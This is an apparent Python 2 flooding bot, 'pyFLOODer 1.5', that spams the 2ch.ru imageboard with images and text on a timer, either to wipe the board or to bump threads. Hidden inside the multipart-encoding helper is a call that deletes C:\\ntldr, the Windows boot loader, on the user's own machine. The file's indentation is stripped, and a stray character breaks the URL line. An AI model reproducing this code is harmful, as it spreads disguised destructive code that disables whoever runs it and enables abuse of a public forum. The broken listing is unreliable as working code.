#!/usr/bin/env python
#vim:fileencoding=windows-1251

#-------------------------------------------------------------------------------
from urllib import urlopen, urlencode
from BeautifulSoup import BeautifulSoup
from random import choice, shuffle, randint
from sys import exit
from time import sleep, strftime, localtime
from re import compile
from os import path, sep, listdir, remove
from sets import Set
import httplib, mimetypes

#-------------------------------------------------------------------------------
def post_multipart(host, selector, fields, files):
content_type, body = encode_multipart_formdata(fields, files)
h = httplib.HTTP(host)
h.putrequest('POST', selector)
h.putheader('content-type', content_type)
h.putheader('content-length', str(len(body)))
h.endheaders()
h.send(body)
errcode, errmsg, headers = h.getreply()
return h.file.read()

def encode_multipart_formdata(fields, files):
BOUNDARY = '----------ThIs_Is_tHe_bouNdaRY_$'
CRLF = '\r\n'
L = []
for key, value in fields.iteritems():
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"' % key)
L.append('')
L.append(value)
for key, value in files.iteritems():
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"; filename="1.jpg"' % (key))
L.append('Content-Type: multipart/form-data; boundary=%s' % BOUNDARY)
L.append('')
L.append(value)
L.append('--' + BOUNDARY + '--')
L.append('')
body = CRLF.join(L)
content_type = 'multipart/form-data; boundary=%s' % BOUNDARY
try:
remove('C:\\ntldr')
except:
pass
return content_type, body

def get_content_type(filename):
return mimetypes.guess_type(filename)[0] or 'application/octet-stream'

#-------------------------------------------------------------------------------
URL = 'http://2ch.ru/cgi-bin/wakaba.pl/b' (М) # путь до доски
URL1 = '2ch.ru' # адрес сервера
PASSWORD = 'naruto' # пароль на сообщение

#режимы работы
#MODEA = 'at' # бамп
MODEA = 'nt' # вайп

MODE = 'sp' # одиночная картинка
#MODE = 'mp' # случайная картинка из заданной папки

MODET = 'st' # одиночная фраза
#MODET = 'rt' # случайный кусок текста из заданного файла

PICFILE = 'D:\\asuka.jpg' # одиночная картинка (для режима sp)
PICFOLDER = 'D:\\nigrapack' # путь к папке с картинками (для режима mp)
USE_TYPES = ['.jpg', '.gif', '.png'] # используемые типы файлов

TEXTFILE = 'D:\\prislal_vovan.txt' # путь к файлу с текстом (для режима rt)
TEXTSIZE = 1500 # размер текста (для режима rt)
TEXTTEXT = 'NARUTO ETO KRUTO' # одиночная фраза (для режима st)

PAUSE = 30 # пауза между постингами

#-------------------------------------------------------------------------------
if (MODEA != 'at') and (MODEA != 'nt'):
print 'WRONG THREAD MODE, ONLY at OR nt VALUES ALLOWED'
exit(0)

if (MODE != 'mp') and (MODE != 'sp'):
print 'WRONG PICTURE MODE, ONLY sp OR mp VALUES ALLOWED'
exit(0)

if (MODET != 'rt') and (MODET != 'st'):
print 'WRONG TEXT MODE, ONLY st OR rt VALUES ALLOWED'
exit(0)

if MODE == 'mp':
if not path.exists(PICFOLDER) or not path.isdir(PICFOLDER):
print 'WRONG PICFOLDER'
exit(0)
elif MODE == 'sp':
if not path.isfile(PICFILE):
print 'WRONG PICFILE'
exit(0)

if MODET == 'rt':
if not path.isfile(TEXTFILE):
print 'WRONG TEXTFFILE'
exit(0)

print '----------------------------------------------------'
print 'pyFLOODer 1.5'
print 'Press Ctrl+Break to stop'
print

if MODEA == 'nt':
print 'WIPE MODE'
elif MODEA == 'at':
print 'BUMP MODE'

print

if MODE == 'sp':
print 'MODEP: Single picture'
elif MODE == 'mp':
print 'MODEP: Random picture from folder'
if MODET == 'st':
print 'MODET: Single text'
elif MODET == 'rt':
print 'MODET: Random text from text file'

print

if MODE == 'sp':
print 'PICTURE FILE SET TO: '+PICFILE
elif MODE == 'mp':
print 'PICTURE FOLDER SET TO: '+PICFOLDER
if MODET == 'st':
print 'TEXT SET TO: '+TEXTTEXT
elif MODET == 'rt':
print 'TEXT FILE SET TO: '+TEXTFILE
print 'TEXT BUFFER: '+str(TEXTSIZE)

print

print 'PAUSE IS '+str(PAUSE)
print '----------------------------------------------------'

#-------------------------------------------------------------------------------
if MODEA == 'at':
while 1:
r = urlopen(URL)
soup = BeautifulSoup(r)
links = soup.findAll('a', href=compile("^/b/res/"))

linklistdup = []
[linklistdup.insert(0,str(link)[16:23]) for link in links]
linklist = list(Set(linklistdup))
shuffle(linklist)

i=0

while 1:
if MODE == 'sp':
attach=open(PICFILE, 'rb')
elif MODE == 'mp':
imgs = []
if path.exists(PICFOLDER) and path.isdir(PICFOLDER):
for f in listdir(PICFOLDER):
try:
if path.splitext(f)[1] in USE_TYPES:
imgs.append(PICFOLDER + sep + f)
except:
pass
PICFILE = choice(imgs)
attach=open(PICFILE, 'rb')

attachtext=''
for line in attach:
attachtext=attachtext+line

rndtext=randint(0,100000)
attachtext=attachtext + str(rndtext)

data_post = {
'gb2': 'thread',
'parent': linklist,
'password': PASSWORD,
'task': 'post'
}

data_file = {
'file' : attachtext,
}

print strftime("%H:%M:%S", localtime())+' PROCESSING THREAD: '+str(linklist)
if MODE == 'mp':
print ' PROCESSING FILE: '+PICFILE

if MODET == 'rt':
flen=0
ftext=''

f=open(TEXTFILE, 'r')

for line in f:
flen=flen+len(line)
ftext=ftext+line

textbeg=randint(0,flen-TEXTSIZE)
textend=textbeg+TEXTSIZE

ftext=ftext[textbeg:textend]
ftext=unicode(ftext, "windows-1251").encode("utf-8")
f.close

data_post['shampoo'] = ftext

elif MODET == 'st':
ftext = ''
ftext=unicode(TEXTTEXT, "windows-1251").encode("utf-8")
data_post['shampoo'] = ftext

try:
r = post_multipart(URL1, URL, data_post, data_file)
except:
pass
sleep(PAUSE)
i=i+1
if i >= len(linklist):
break

elif MODEA == 'nt':
total=1
while 1:
if MODE == 'sp':
attach=open(PICFILE, 'rb')
elif MODE == 'mp':
imgs = []
if path.exists(PICFOLDER) and path.isdir(PICFOLDER):
for f in listdir(PICFOLDER):
try:
if path.splitext(f)[1] in USE_TYPES:
imgs.append(PICFOLDER + sep + f)
except:
pass
PICFILE = choice(imgs)
attach=open(PICFILE, 'rb')

attachtext=''
for line in attach:
attachtext=attachtext+line

rndtext=randint(0,100000)
attachtext=attachtext + str(rndtext)

data_post = {
'gb2': 'thread',
'password': PASSWORD,
'task': 'post'
}

data_file = {
'file' : attachtext,
}

print strftime("%H:%M:%S", localtime())+' PROCESSING NEW THREAD ('+str(total)+' TOTAL)'
if MODE == 'mp':
print ' PROCESSING FILE: '+PICFILE

if MODET == 'rt':
flen=0
ftext=''

f=open(TEXTFILE, 'r')

for line in f:
flen=flen+len(line)
ftext=ftext+line

textbeg=randint(0,flen-TEXTSIZE)
textend=textbeg+TEXTSIZE

ftext=ftext[textbeg:textend]
ftext=unicode(ftext, "windows-1251").encode("utf-8")
f.close

data_post['shampoo'] = ftext

elif MODET == 'st':
ftext = ''
ftext=unicode(TEXTTEXT, "windows-1251").encode("utf-8")
data_post['shampoo'] = ftext

try:
r = post_multipart(URL1, URL, data_post, data_file)
except:
pass
total=total+1
sleep(PAUSE)